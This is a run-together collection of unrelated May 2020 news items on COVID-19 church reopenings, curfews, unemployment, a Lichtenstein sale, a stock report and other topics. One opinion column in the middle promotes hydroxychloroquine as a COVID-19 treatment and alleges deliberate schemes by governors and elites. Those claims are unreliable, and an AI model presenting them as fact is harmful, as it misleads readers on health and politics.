"Some governors have deemed liquor stores and abortion clinics as essential, but have left out churches and other houses of worship," Trump said. "It's not right. So, I'm correcting this injustice and calling houses of worship essential."

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Speaking to the possibility that some governors might not immediately adhere to his instructions, he suggested they reach out to him directly even though the matter, he asserted, would not be open to discussion.

"If there's any question, they're going to have to call me  but they are not going to be successful in that call," he said. "The governors need to do the right thing and allow these very important essential places of faith to open right now, this weekend."

When asked about Trump's comments, Newsom sidestepped the issue, saying his administration has been working with faith leaders to allow services to resume as quickly as can be done while protecting the public health.

"We have been very aggressive in trying to put together guidelines that will do justice to people's health and their fundamental need and desire to practice their faith," Newsom said. "We are looking forward to a very positive working relationship with faith leaders, as we make public those documents and look forward to working through this issue in the spirit of cooperation and collaboration."

During the noon briefing, Newsom did take a subtle swipe at the Trump administration, noting that the Centers for Disease Control and Prevention had yet to release federal guidelines detailing how churches and other religious institutions should resume services during the COVID-19 pandemic. Newsom said CDC guidelines were expected to be released on Friday and said state health officials will review them to determine if they include safeguards that should be added to those being drafted by the state.

Newsom emphasized his own religious upbringing in the Catholic Church, saying he had deep admiration and respect for the faith of the millions of Californians and the need for them to practice that faith. The governor said the vast majority of religious leaders across the state understand the need to protect the public health and have been working with his administration to ensure services, when the resume, will be conducted in a safe manner.

Earlier this week, the U.S. Department of Justice sent a letter to the Newsom administration warning that the state's stay-at-home order may discriminate against religious groups and violate their constitutional rights. The letter accused Newsom of unequal treatment of faith communities in restricting their ability to gather and resume services.

Simply put, there is no pandemic exception to the U.S. Constitution and its Bill of Rights, Eric S. Dreiband, an assistant attorney general and the head of the Justice Departments civil rights division, stated in the letter.

Shortly after that warning, more than 1,200 pastors in California vowed to hold in-person services on May 31, Pentecost Sunday, in defiance of the state moratorium on religious gatherings.

Robert H. Tyler, an attorney representing a Lodi church that has challenged the governors order in court, said pastors signed a Declaration of Essentiality that asserts their churches are as essential as grocery stores and hardware stores and should be allowed to reopen.

We believe you are attempting to act in the best interests of the state, Tyler wrote to Newsom, but the restrictions have gone too far and for too long.

Newsom, in an interview with Stephanie Ruhle of MSNBC on Thursday, said California was just a "few weeks away from meaningful modifications that will allow just that to happen."

A federal court judge in Sacramento recently issued a ruling that Newsoms stay-at-home order did not violate the constitutional rights to free assembly and religion when the Cross Culture Christian Center in Lodi was ordered to cease services.

Last week, a federal judge in San Diego denied a request from a Chula Vista church for a temporary restraining order against the state that would allow it to hold in-person services.

White House Press Secretary Kayleigh McEnany, who took questions after the president's comments on Friday, struggled to cite any legal authority for the president to order governors to allow religious services to resume, attempting to deflect by suggesting that reporters questioning the validity of Trump's move wanted churches to remain closed.

She said the White House would "leave it to faith communities to reopen," noting the newly released CDC guidelines and acknowledging that the decision would be "up to the governors."
As the pandemic sows fear and uncertainty, some are looking to a Siberian mystic for answers.Pjotr SauerThe Moscow TimesMay 21, 2020In the depths of the Siberian taiga a group of around a hundred people in white robes stand around a statue of an angel topped with a cross inside a circle. They sing and clasp each other's hands, an unnerving scene in a world where millions are being forced to practice social distancing and self-isolation to curb the spread of the deadly coronavirus.The worshippers are members of the Church of the Last Testament, a movement founded by Vissarion Christ the Teacher, whose thousands of followers believe he is the reincarnation of Jesus of Nazareth. In these uncertain times his disciples say they are seeing a new wave of interest in their way of living from around the world.People are searching for something and have become attracted to our lifestyle. They are looking for a way out of isolation and loneliness. Requests to join us have tripled since the start of the virus, said Vadim Redkin, who used to be the drummer for a popular Russian rock band and now acts as Vissarion's right-hand man and the group's spokesperson.We get emails from Europe, South America and North America, he added.Former policeman Vissarion has just celebrated the 25th anniversary of his commune, making him one of the mystics who emerged in the early 90s after the fall of the Soviet Union to fill an ideological vacuum to have stood the test of time.About 4,000 so-called Vissarionites live in 20 rural settlements in southern Siberia, with the most devoted group of around 300 on top of a remote hill they call Abode of Dawn.The cults physical isolation from the rest of Russia means they are perhaps some of the only human settlements in the country whose lives have not changed during the pandemic, as they closed off their commune to outsiders when lockdown began.Vissariontes lives are governed by rituals, prayers and strict rules, demanding prolonged physical contact and personal interactions.However, members of the Church of the Last Testament do not fear the kind of Covid-19 outbreak seen in other tight-knit religious communes  most notably South Korea where hundreds of members of the secretive sect Shincheonji Church fell ill and became infection vectors for the rest of the country.Local police know that it is basically impossible to get to us, so they let us do our thing, said Redkin.Nature is healingWhile coronavirus-sparked existential crisis is playing a big role in attracting people to the commune, its members say talk about the pandemic being a way for nature to heal itself is also playing a part.The Covid-19 outbreak has provoked debate about the impact of human activity on the planet. Over the past three months people, including celebrities, have shared fake images of animals returning to cities, under the caption nature is healing, arguing that there are some positives to the Covid-19 outbreak. Critics have warned against celebrating the environmental upsides of a pandemic that has already killed over 325,000 people.What people are saying now is something we all believed in 20 years ago when we moved here, said Adrian Leon, a Cuban national who has been with the commune from its early days after he left a pointless existence as a teacher in Sweden.They are realizing that nature is sick and needs healing. Our lifestyle resonates with this, Leon added.The group's core belief is a desire to live in self-sufficient harmony with nature, while adhering to traditional gender norms. It rejects most modern technology, alcohol and predicts worldwide disaster in the near future.Benjamin Kaufmann, an Austrian whose life in Europe has been rocked by the coronavirus first came across Vissarion in a Vice News documentary. He told The Moscow Times that the cults environmentally friendly and community-based message attracts him.First I thought ah ... the next guy, who believes he's Jesus ... but I was curious and watched it. Then I was really surprised and thought wow, that looks like the ideal style of living, Kaufmann said via Facebook.Mariam, a 27-year-old accountant from New Jersey echoed this sentiment and said she is planning to move to Siberia once the borders open.Phillips Stevens, a retired anthropology professor at the University of Buffalo who specializes in cults and alternative religions, expects the coronavirus to prompt a rise in fringe ideas and religions.Cults develop all the time, but far more frequently  and far more visibly  during times of general uncertainty and anxiety like the pandemic. In times of social stress people want certainty, hope, promise and some sense of control in a time of apparent unpredictability and personal loss, he said."Skepticism declines and people are more willing to accept unusual claims without evidence, he added.The pandemic has already led to an increase in recruitment activity among cults and healers in Russia, said anti-cult activist and Professor at St. Tikhon's Orthodox University Aleksandr Dvorkin, with many offering protection and salvation from the coronavirus.One example is the return of Anatoly Kashpirovsky, a self-styled psychic healer who enjoyed popularity in the late 80s and is back on YouTube offering guidance as the coronavirus spreads.Dvorkin isnt therefore surprised that Vissarions are reporting of gaining new steam.In times when confusion reigns people are vulnerable to manipulation, for some the idea of running away and hiding in the forest might seem like a reasonable option Dvorkin said.Left aloneRussia has seen a rise in crackdowns against non-Orthodox Christian denominations across the country, with over 300 Jehovahs Witnesses charged or convicted since Russian officials branded the group as extremist.Authorities have mostly ignored the homegrown and secluded Church of the Last Testament over the past decade. However, changed in February of this year, when police searched the Abode of Dawn, reportedly searching for evidence of corruption and sexual assault in the commune.Lockdown, however, has put a temporary stop to these searches, Redkin said.Quarantine and isolation have been a blessing for us.
Vietnam has dropped three places from last year to 91st in this years business environment resilience index.

Vietnam scored 40.7 out of 100 (0 representing lowest resilience and 100 the highest) to be placed 91st among 130 economies, according to the 2020 FM Global Resilience Index, an annual ranking published by FM Global, an international commercial property insurer headquartered in the U.S.

The report measured the resilience of each economy's business environment based on three factors - economic (productivity, political risk, oil intensity and urbanization rate), risk quality (exposure to natural hazard, natural hazard risk quality, fire risk quality and inherent cyber risk quality) and supply chain (control of corruption, quality of infrastructure, corporate governance and supply chain visibility).

On the first factor, Vietnam scored 22.5 points out of 100 and ranked 110th; 35.1 points and 79th position in risk quality; and 49.1 points and 77th position in the supply chain factor.

In Asia, Hong Kong was the only economy that made the top 20, finishing 19th with 88.3 points, while Nepal came in last at 122nd with 23.4 points.

With 100 points, Norway remained in first place for the fifth consecutive year. Switzerland took second place with 98.8 points, followed by Denmark (98.4), Germany (97.5) and Sweden (95.4) to complete the top five.

The bottom five countries in the world were Lebanon with 20.7 points, Chad, 19.5, Ethiopia, 13.8, Venezuela, 8.9 and Haiti with zero points.

Kevin Ingram, executive vice president and CFO of FM Global, said: "Especially after a crisis like Covid-19, resilience is critical for people, countries and businesses. A countrys ranking in the 2020 FM Global Resilience Index is a good indication of how its business environment will fare and how quickly organizations there might rebound after taking the economic blow of the coronavirus."

"These are critical insights for businesses making far-reaching choices as they build facilities, extend supply chains and cultivate new markets."

A recent report ranked Vietnam fourth in the world in the first quarter of this year for having the most positive consumers despite adverse coronavirus impacts. The country came in fourth behind India, the Philippines and Indonesia, according to the Global Consumer Confidence Survey by market research firm Nielsen.
My, what interesting times we are living in. Never have the motives of elitists and corrupt leaders been made more crystal clear to serious thinking Americans than in the last four years. Its as if a brilliant light has been shone on those who place self-aggrandizement, partisanship, and globalism over the interests of the American people they have been elected to serve.

Many people have rightly called President Ronald Reagan a transformational figure -- it could be strongly argued that his policies helped to shape America in the latter decades of the 20th Century. I strongly agree with this assessment of Mr. Reagan. In fact, I am huge and devoted admirer of our 40th President. With that said, I believe that in just one term (so far), Donald Trump has not only proven to be just as transformational, but, dare I say it, more consequential. While Reagan restored American pride and strength, Trump, like a poultice, is drawing out the poisons that are sapping its pride and strength.

In our age of masks, how appropriate that the disguises have been removed from blue state governors, revealing their totalitarian penchants. In their arrogance, they either dont care or are unaware that we the people see through their schemes to slow walk the opening of their states so they can damage the economy and cause a backlash against President Trump.

Conservatives are also well aware of the loud silence of the Republican Party during this crisis. Why are the voices backing up the President are so few in number? Well, we know the answer, because we know many of our Republican leaders despise the president. As conservatives, it has been very troubling to find out that many on our side who we thought were patriots have turned out to be turncoats to be despised. We can thank President Trump for that.

Partisanship, globalism, greed, and outright hatred have been exposed for all to see during this Wuhan virus crisis. None of these have the interests of public safety at heart, only keeping the public in fear and demanding groupthink. What else could explain the brazen censorship of contrary opinions to Dr. Anthony Fauci, the Centers for Disease Control (CDC) and the World Health Organization (WHO) by platforms such as Facebook and YouTube? What else could explain the attacks and outright dismissals of hydroxychloroquine as a viable treatment for a person in the early stages of COVID-19 infection? Trump has been showing signs of late that he is on to these schemes to undermine the country and his presidency; most recently announcing to a stunned adversarial press that he has been taking hydroxychloroquine and zinc to protect against the Wuhan virus.

It is provocative moves like the above that has endeared President Trump to freedom-loving Americans while causing his enemies to become unhinged and overreaching. Evidence that most Americans do not blame Trump for the shutdowns has been reflected in recent polling that the left has done its best to play down and ignore.

The people are beginning to understand in greater numbers that their local and state governments only care about their opinions during elections. They are witnessing the consequences of authorities that have forgotten that their power derives from the people and not the other way around. As a result, we are seeing pushback in the form of protests and outright refusal to abide by arbitrary dictates. Again, this is thanks to President Trump.

There are interests invested in making sure our new normal is one of perpetual fear, face coverings, and social distancing. These entities do not want a strong and prosperous United States leading the world. They want to stamp out rugged individualism by turning us into masked drones whose only duty should be obedience to the experts. They want people to live under the new normal of drive-by birthdays, shaming of neighbors and blind conformity. These elitists think that by telling us every day of a new normal that we will believe and accept this. They tried to do the same four years ago when Americans were told daily leading up to the 2016 election that Hillary Clinton would be president. How did that work out?

The worldwide left has hated Trump for beating Hillary and it is that hatred that has motivated their schemes to take him out. Hatred, however, is nothing but poison in a persons heart that eats away at their psyche and causes recklessness. Their hatred of Trump has drawn out the schemes of partisans and globalists into the light. As with the Mueller investigation and impeachment, so shall these COVID-19 lockdowns boomerang on leftist political leaders.

In the meantime, do your part as a freedom-loving American to resist the politics of fear. Speak up and march as needed, but most importantly, stand on truth. We have a truly consequential president who is providing the example.

Dex Bahr is the author of the book No Christian Man is an Island. He is also a freelance writer and lecturer.
Phuket in national top 10 for curfew breakers

PHUKET: The total number of people arrested in Phuket for breaking the nightly curfew has resulted in the island being ranked within the top 10 offending locations nationally.

CoronavirusCOVID-19healthSafety

By The Phuket News

Friday 22 May 2020, 04:42PM

Image: Phuket Provincial Police

Phuket Provincial Police Commander Maj Gen Rungrote Thakurapunyasiri confirmed to the The Phuket News today (May 22) that authorities here have currently arrested a total of 1,664 people, one of the highest nationwide.

In part this is because some people are more used to being active and living during the night but they must begin to adapt, Gen Rungrote said.

The high numbers indicate that police officers are working hard to fully enforce the law, he added.

The duration of the curfew was reduced slightly last Sunday (May 17) from 11pm to 4am as part of the drive to ease restrictions implemented to prevent the spread of COVID-19.

Many of the people that officers have arrested are heading home but didnt quite make it within the curfew hours, Maj Gen Rungrote explained.

Now the curfew time is shorter they have more time to make it home within the timeframe, he added.

Phuket Provincial Police today noted that only 92 of the 1,664 people arrested so far were arrested at checkpoints. The remaining 1,572 arrests were made by patrols.

The arrests so far were counted as 1,606 cases, of which 1,308 have been already processed, with 298 cases still waiting to be prosecuted, the Phuket Provincial Police also noted.

According to the report, the number of arrests for breaking the curfew without essential reason reported by each police station on the island so far is as follows:

Muang Phuket Police Station  477 (1 new case)

Patong Police Station  345 (2)

Wichit Police Station  228 (3)

Karon Police Station  137 (1)

Chalong Police Station  115 (1)

Thalang Police Station  132 (10)

Cherng Talay Police Station  52 (1)

Kamala Police Station 36 (zero)

Tha Chatchai Police Station  34 (zero)

Kathu Police Station  73 (1)

Sakhu Police Station - 35 (1)

I want to ask people to comply with regulations by not leaving the house during the curfew to minimise movement and reduce the occurrence of communicable diseases, Maj Gen Rungrote concluded.
Measuring China Xinhua Education Group Limited's (SEHK:2779) track record of past performance is a useful exercise for investors. It enables us to understand whether or not the company has met or exceed expectations, which is an insightful signal for future performance. Today I will assess 2779's recent performance announced on 31 December 2019 and weigh these figures against its long-term trend and industry movements.

Check out our latest analysis for China Xinhua Education Group

How Did 2779's Recent Performance Stack Up Against Its Past?

2779's trailing twelve-month earnings (from 31 December 2019) of CN271m has increased by 5.7% compared to the previous year.

However, this one-year growth rate has been lower than its average earnings growth rate over the past 5 years of 16%, indicating the rate at which 2779 is growing has slowed down. What could be happening here? Well, lets take a look at whats transpiring with margins and whether the whole industry is feeling the heat.

SEHK:2779 Income Statement May 22nd 2020

In terms of returns from investment, China Xinhua Education Group has fallen short of achieving a 20% return on equity (ROE), recording 10% instead. However, its return on assets (ROA) of 7.3% exceeds the HK Consumer Services industry of 6.9%, indicating China Xinhua Education Group has used its assets more efficiently. Though, its return on capital (ROC), which also accounts for China Xinhua Education Groups debt level, has declined over the past 3 years from 22% to 9.3%.

What does this mean?

Though China Xinhua Education Group's past data is helpful, it is only one aspect of my investment thesis. Companies that have performed well in the past, such as China Xinhua Education Group gives investors conviction. However, the next step would be to assess whether the future looks as optimistic. You should continue to research China Xinhua Education Group to get a better picture of the stock by looking at:

Future Outlook: What are well-informed industry analysts predicting for 2779s future growth? Take a look at our free research report of analyst consensus for 2779s outlook. Financial Health: Are 2779s operations financially sustainable? Balance sheets can be hard to analyze, which is why weve done it for you. Check out our financial health checks here. Other High-Performing Stocks: Are there other stocks that provide better prospects with proven track records? Explore our free list of these great stocks here.

NB: Figures in this article are calculated using data from the trailing twelve months from 31 December 2019. This may not be consistent with full year annual report figures.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
Source: Xinhua| 2020-05-22 07:42:50|Editor: huaxia

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HOUSTON, May 21 (Xinhua) -- U.S. Harris County where Houston locates on Thursday announced new guidelines for employees as the "Stay Home, Work Safe" order extended to June 10 amid the COVID-19 pandemic.

County Judge Lina Hidalgo announced two sets of rules for the safety of employees at a press briefing. One set is for public-facing workers such as retail and restaurant employees and another set covers employees in the manufacturing sector.

She said the guidelines call for public-facing workers to wear masks and allow all workers to have a break after working for some time to wash their hands.

Hidalgo said that manufacturing businesses and public-facing services companies should designate a safety monitor to oversee these guidelines.

According to local media, Hidalgo's representatives confirmed Wednesday that the "Stay Home, Work Safe" order was extended until June 10.

During Thursday's briefing, Hidalgo said that she extended the order because she didn't want the public to feel that the coronavirus crisis is over.

According to Harris County Public Health authority, there were 10,283 confirmed cases of COVID-19 with 216 deaths as of Thursday. Enditem
A late-career tour de force  Roy Lichtensteins Nude with Joyous Painting

With his Nudes series, the Pop artist tackled one of art historys most longstanding genres. Specialist Ana Maria Celis explains why this work from 1994  sold in the trailblazing ONE sale for $46,242,500  reveals an artist in complete mastery of his craft

With his celebrated Nudes series from the mid-1990s, Roy Lichtensteins career came full circle. Its 20 paintings saw him return to the comic-book heroines that had helped first propel him to fame  and the forefront of the Pop art movement  in the early 1960s. On 10 July, Nude with Joyous Painting (1994), a monumentally scaled standout work from the series, is being offered in ONE, a new sale format at Christies connecting Hong Kong, Paris, London and New York. Ana Maria Celis, Head of Evening Sale, Post-War and Contemporary Art at Christies, describes the work as the most important example of Lichtensteins last great series of Nudes to have ever appeared at auction. The painting features a blonde American beauty alone in her bedroom, wearing nothing but a blue headband and red lipstick. Shes startled by some unexpected disturbance out of picture to the right. Lichtenstein crops in tight on her body, creating a sense of tension worthy of a Hitchcock thriller.

Roy Lichtenstein, Nude with Joyous Painting, 1994. Oil and Magna on canvas. 70 x 53 in (177.8 x 134.6 cm). Property from an Important Private American Collection. Sold for: $46,242,500 on 10 July 2020 at Christies in New York

Lichtenstein painted the work in his signature Ben-Day dot style, mimicking the agglomeration of small coloured dots used for printing comic books in the mid-20th century. While the artist adopted the style throughout his career, comic books ceased to provide the actual source material for his scenes for the best part of three decades  between his early works (such as Nurse) and the Nudes series. The protagonist of Nude with Joyous Painting was derived from a vintage DC Comics series called Girls Romance  specifically, a bather named Gloria, whos saved from perilous waters by a sun-kissed lifeguard named Bob. Lichtenstein removed her from the beach setting and relocated her in a domestic interior.

With the canvases in this series, Lichtenstein tackled one of the most longstanding of genres: the nude. It was his way of exploring the whole medium of painting, in what would turn out to be his last body of work, explains Celis. You can see references here to examples by Titian, by Matisse, by Picasso. At this mature stage of his career, Lichtenstein decided he wanted to deal with the history of art head-on. Nude with Joyous Painting was unveiled at New Yorks Leo Castelli Gallery in November 1994. In its review of the show, the New York Daily News declared: The king of the blown-up comic-book frame had seemed to be settling into a quiet, Old Masterly period of late  but hes broken out with a bang with his new series of nudes.

These nudes take pleasure in their own company, without the slightest hint of needing or missing a man  Avis Berman

Just months before his solo show opened, Lichtenstein went to see Picasso & the Weeping Women: The Years of Marie-Therese Walter & Dora Maar, at the Metropolitan Museum of Art. The exhibition featured Picasso paintings, from the 1920s to the 1940s, of his two eponymous lovers  and the nude works included are sometimes cited as having been an influence on Lichtensteins own. Where the Americans nudes differ from those of all his predecessors, though, is their cartoon aesthetic. On a purely technical level, Nude with Joyous Painting reveals an artist in complete mastery of his craft. As a colourist, Lichtenstein deployed an array of almost 50 colours  in contrast to his breakthrough works, when he relied pretty much solely on red, yellow, blue and black. The artist also tightly clustered his dots in certain parts of the picture to denote shadow, while making dots in other areas very soft, to denote light. The work duly flits between realistic, three-dimensional representation and decorative, two-dimensional patterning.

Roy Lichtenstein in his studio in Southampton, New York, in 1997  the year in which he died, aged 73. Photo:  Bob Adelman Estate. Artwork:  Estate of Roy Lichtenstein

Of note, too, is the way the artists nudes are all depicted on their own (or with another female nude). The handsome leading men who accompanied the heroines in his 1960s scenes  such as Kiss III  are now absent, and the pictures seem much more contemporary as a result. These nudes take pleasure in their own company, without the slightest hint of needing or missing a man, wrote the art critic Avis Berman. They are not paralyzed by their emotions This world flourishes exuberantly without men or engagement rings or kisses. In the case of Nude with Joyous Painting, the subject is surprised, but by no means scared, by the disturbance at hand.

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MORTGAGE holders with Ulster Bank whose loans were sold to a US vulture fund last year were annoyed to get letters this week confirming the sale of the loans.

The sale was announced last July, and completed in October.

But some of those affected only got letters this week telling them their loans would now be serviced by Pepper in Shannon.

The timing has been questioned given the disruption caused by the pandemic, while some of those whose loans were sold claim the bank refused to properly engage with them.

The bank insists the letters have been going out for months, and customers were well aware their loans were deep arrears.

The sale includes 2,800 home mortgages and 375 buy-to-let loans.

US vulture fund CarVal is the buyer of a portfolio that the bank has called Project Deenish.

The bank has insisted mortgage holders were given every chance to strike a deal with it to avoid having their loan sold.

One residential mortgage holder questioned the timing of letters confirming the transfer of the servicing of the mortgages to Pepper.

He said he had tried to put an arrangement in place to clear his arrears, but claimed the bank did not come back to him on this before the loan was sold.

"I put proposals to the bank. The bank rejected it so I appealed it within the bank. Before I got any word back on the appeal I got a letter telling me my mortgage was sold," the man, who did not want to be named, said.

David Hall of the Irish Mortgage Holders Organisation also claimed Ulster Bank had failed to properly engage with the debtors before selling the non-performing loan portfolio.

The portfolio was sold for 800m.

Ulster Bank said it was it was a portfolio of non-performing loans which was announced last year.

Ulster Bank insisted it actively works "with customers in financial difficulty to find a solution that keeps them in their home while paying a mortgage that is affordable for them in the long run and have been able to do so for four out of five customers".

It said that it is not possible to work out a deal with every customer as the mortgage may not be sustainable.
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The World Health Organization is holding a briefing Friday on the coronavirus, which has infected more than 5.12 million people worldwide, according to data compiled by Johns Hopkins University.

On Wednesday, WHO Director-General Tedros Adhanom Ghebreyesus said "We still have a long way to go in this pandemic," after the number of newly reported coronavirus cases worldwide hit a daily record at more than 100,000 new cases over a 24-hour span.

Almost two-thirds of the cases were reported in just four countries, according to Tedros. The majority of new confirmed cases are reported in the Americas, followed by Europe.

The WHO has been warning world leaders that there can be "no going back to business as usual" following the Covid-19 outbreak, which has upended economies and wreaked havoc on nearly every country around the globe.

The total number of reported Covid-19 cases around the world reached 5 million Thursday, according to data from Johns Hopkins University, as some countries begin easing strict social distancing guidelines.

 CNBC's William Feuer, Noah Higgings-Dunn and Berkeley Lovelace Jr. contributed to this report.

Read CNBC's live updates to see the latest news on the COVID-19 outbreak.
NORRISTOWN  About $5 million in relief funding was reassigned to the MontcoStrong Small Business Grant Fund Program after receiving unanimous approval from county leaders Thursday.

Montgomery County Solicitor Josh Stein said the Redevelopment Authority established the initiative to provide small businesses located in Montgomery County financial support as a result of the COVID-19 global pandemic.

Of the $5 million, a $250,000 grant came from the Delaware Valley Economic Development Fund, according to the resolution proposal. Federal funding courtesy of the Coronavirus Aid, Relief and Economic Security, or the CARES Act, also contributed to the county program.

In other business, during an April 16 meeting, the Montgomery County Commissioners approved a pay increase for essential workers throughout the COVID-19 pandemic that would allow for qualified full and part time employees to receive an increase of up to $400 per pay period, according to a county spokesperson.

Stein previously said that the eligible employees have jobs that are deemed essential and  would otherwise put them at increased risk of contracting COVID-19.

During Thursday mornings meeting, Stein brought forth a proposal to extend the pay increases to employees working in several other county sectors.

They include domestic relations, juvenile and adult probation, and certain eligible workers at the Montgomery County Youth Center, according to the resolution. Employees are represented by the unions from the American Federation of State, County and Municipal Employees, or AFSCME Local 676, and the Pennsylvania Social Services Union, or PSSU Local 668.

The legislation stipulates that a memoranda of understanding with both groups would provide temporary additional compensation to those employees of up to $400 per pay period.

The commissioners also authorized three COVID-19-specific contracts totaling nearly $277,000.

The following agreements cover materials and consulting services:

A $36,900 contract with Knoll Inc., of East Greenville, will provide reusable face shields for use at the election polling locations.

A contract not exceeding $150,000 with Witt OBriens LLC., of Washington, for emergency management consultation and advisory services for Federal cost recovery [and] reimbursement relating to the COVID-19 emergency.

An agreement with PFM, of Philadelphia, for consulting and advisory services relating to the COVID-19 emergency and advisement on the county reopening plans under the emergency period was also approved. The county agreed to an amount not exceeding $90,075.

Commissioner Joseph Gale acknowledged several groups of professionals: correctional officers, police officers and emergency medical services personnel during the virtual meeting.

National Correctional Officers Week took place from May 3 to May 9. National Police Week occurred from May 10 to May 16. National EMS Week was May 18-22.

It is particularly meaningful as we see the EMS community rallying today to support the COVID-19 crisis while still responding to everyday emergencies that are happening, Gale said.

Montgomery County Commissioners Chairwoman Dr. Valerie Arkoosh expressed her gratitude to county staff and citizens for their continued efforts during the pandemic.

It is making that difference and is giving us a reason to hope, she said.

Arkoosh said there are several practices in the works to honor fallen Montgomery County service members during the Memorial Day weekend:

The Montgomery County courthouse will be lit red, white and blue.

Seventy-two black masted flags will be placed on the green between the courthouse and One Montgomery Plaza. She added that each flag represents 1,000 veterans laid to rest in Montgomery County.

Online tributes to fallen veterans will be posted on county social media pages.

Arkoosh reiterated that the Memorial Day tradition of distributing flags on graves of deceased veterans was postponed due to the COVID-19 pandemic and the countys red phase status.

While Gale has vocally opposed this decision on several occasions, he did not comment during Thursday mornings meeting.

Arkoosh said that plans are in the works to distribute flags on or around the July 4 holiday.

Please take a moment this weekend to honor our fallen veterans in any way that you deem appropriate, and we look forward to an in-person memorial at some future date when its safe, she said.

The next Montgomery County Board of Commissioners meeting is scheduled for 10 a.m. on June 4.
The Civil Society Organizations of the Sustainable Development Goal 15 have called on government to curb encroachment of forest reserves in various parts of the country.

This years celebration of World Biodiversity Day is themed Our Solutions Are In Nature.

As part of this years celebration, the coalition in a statement signed by its convenor, Elvis Tetteh said: the forest reserves serve as important habitats that support a large diversity of plants and animals. Unfortunately, most forest reserves in Ghana's high forest zone are under threat or pressure from mining activities and this needs to be addressed with all the urgency that the state can mobilize.

Also, the coalition says the legal framework to support efforts by state and non-state actors in the protection of natural area remain limited. It cited the non-passage of the over 16-year-old Wildlife Resource Management Bill which would empower communities to participate in and benefit from the management of natural resources in community lands.

In a similar concern, the Convenor for Youth in Natural Resource and Environmental Governance, Chibeze Ezekiel has called on Ghanaians to support the fight against environmental degradation which endangers the animals in the environment.

Youth in Natural Resource and Environmental Governance (Y-NREG) is a coalition of the youth-led environmental groups which is focused on nurturing and supporting the youth in having a united front in environmental advocacy and activism.

World Biodiversity Day

The United Nations proclaimed May 22 The International Day for Biological Diversity (IDB) to increase understanding and awareness of biodiversity issues.

When first created by the Second Committee of the UN General Assembly in late 1993, 29 December (the date of entry into force of the Convention of Biological Diversity), was designated The International Day for Biological Diversity.

In December 2000, the UN General Assembly adopted 22 May as IDB, to commemorate the adoption of the text of the Convention on 22 May 1992 by the Nairobi Final Act of the Conference for the Adoption of the Agreed Text of the Convention on Biological Diversity.

This was partly done because it was difficult for many countries to plan and carry out suitable celebrations for the date of 29 December, given the number of holidays that coincide around that time of year.

---citinewsroom
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Linkedin News Desk (Agence France-Presse) London, United Kingdom  Fri, May 22, 2020 09:30 608 fc6853813033f564188675f8bd98cd01 2 World coronavirus,virus-corona,COVID-19,pandemic,Oxfam,COVID-19-joblessness,COVID-19-lockdown Free

International charity Oxfam is to close 18 of its offices around the world, cutting nearly a third of its workforce, because of financial pressures caused by the coronavirus pandemic.

The anti-poverty group said in a statement late Wednesday that the crisis had forced it to bring forward plans to restructure its international operations that began in 2018.

Lockdown restrictions in a number of countries have seen the non-profit shut shops and cancel fund-raising events, hitting revenue.

The belt-tightening comes on the back of already reduced donations following revelations of sexual abuse by some staff in Haiti in 2010.

Oxfam, which is a confederation of some 20 organizations, will shut offices in 18 countries, including in Afghanistan, Haiti, Cuba and Egypt, and axe 1,450 of 5,000 posts.

It will maintain a presence in 48 countries.

Oxfam said the streamlining will allow it to better target countries where it can have the most impact.

"We've been planning this for some time but we are now accelerating key decisions in light of the effects of the global pandemic," said executive director Chema Vera.

"This reorganization will take time to complete," he said, adding the charity felt "a deep sense of responsibility" to countries affected.

But he vowed: "We will do everything we can to ensure the people we work with will be able to look to the future with confidence.

"This includes continuing work with partners and allies in countries where there will be no Oxfam office, to support social movements and influence governments and private sector for positive change."
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California's unemployment office has processed 5.1 million claims for jobless benefits since the coronavirus pandemic hit. But some who became unemployed before the pandemic have already run out of benefits, and their claims remain in limbo.

Some people have now gone months without benefits or much hope of finding a job. And they're getting increasingly desperate for financial help.

California's unemployment office will begin processing extensions for this group on May 27. But some with exhausted claims may have to wait until June, or even July, before they start receiving payments again.

NO INCOME AND RUNNING OUT OF SAVINGS

"It's not a comfortable way of living, knowing that there's a good chance you could lose everything in just a month or two," said Richard Torres, a Riverside father who exhausted his unemployment benefits more than a month ago.

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After Torres lost his job as a truck dispatcher in October 2019, he applied for unemployment. His $271 in weekly benefits weren't enough to cover his bills, so he tapped into his savings in order to make ends meet.

Then his benefits ran out in mid-April (unemployment recipients typically can't collect benefits for more than 26 weeks in a single year).

Going out to find another job isn't an option, because he has to stay home to care for his 6-year-old son. Riverside County closed its schools in March.

"I'm pretty much a full-time teacher, parent and daycare provider. So it does limit me to going out to look for work," he said.

Torres estimates his savings could last through July if he stretches every dollar. But some expenses have increased due to the stay-at-home orders. He had to upgrade to high-speed internet so that his son could participate in his school's remote learning.

"How much of my savings am I going to have to dip into before all this ends?" Torres asked. "It seems to be stretching out a lot longer than a lot of people thought it would."

Relief may be on the way, though.

STATE TO BEGIN FILING EXTENSIONS MAY 27

Torres and others with exhausted claims are now entitled to 13 more weeks of unemployment benefits under recent federal legislation.

The problem is, those extensions have not yet been processed by California's unemployment office.

A number of states, such as New Jersey, have begun processing the 13-week extensions. But officials with California's Employment Development Department (EDD) said complicated federal guidelines have made it difficult for the state to quickly roll out extensions.

"It's quite complex in the way these things have to be built," said EDD spokesperson Loree Levy. "Every state is having quite a challenge in building this one."

EDD has said it will begin automatically filing extensions on May 27 for those with exhausted claims, as long as they first started receiving benefits on or after June 2, 2019.

The department will contact people in that group online and through the mail about how to certify for extended benefits.

But some may not be contacted until June. Those with claims dating back further than June 2019 will have to wait until July before they can apply for an extension.

'I HAVE NOTHING'

"I know they're inundated with all these applications," said Deborah Jacob in Thousand Oaks, whose benefits ran out in early April. "I don't feel that the state has really worked hard enough."

Jacob was let go from her job in a hospital HR department last September. Her $420 weekly unemployment check covered essentials like her rent and car payment, but not much more. She ended up depleting her savings by the time the pandemic arrived.

Jacob said she's now had to delay her rent payments. Her two adult children have stepped in to support her financially. She doesn't understand why it's taking the state so long to process her extension.

"I just feel slighted," she said. "It's very demeaning that I have to rely on my children to provide food for me right now, because I have nothing."
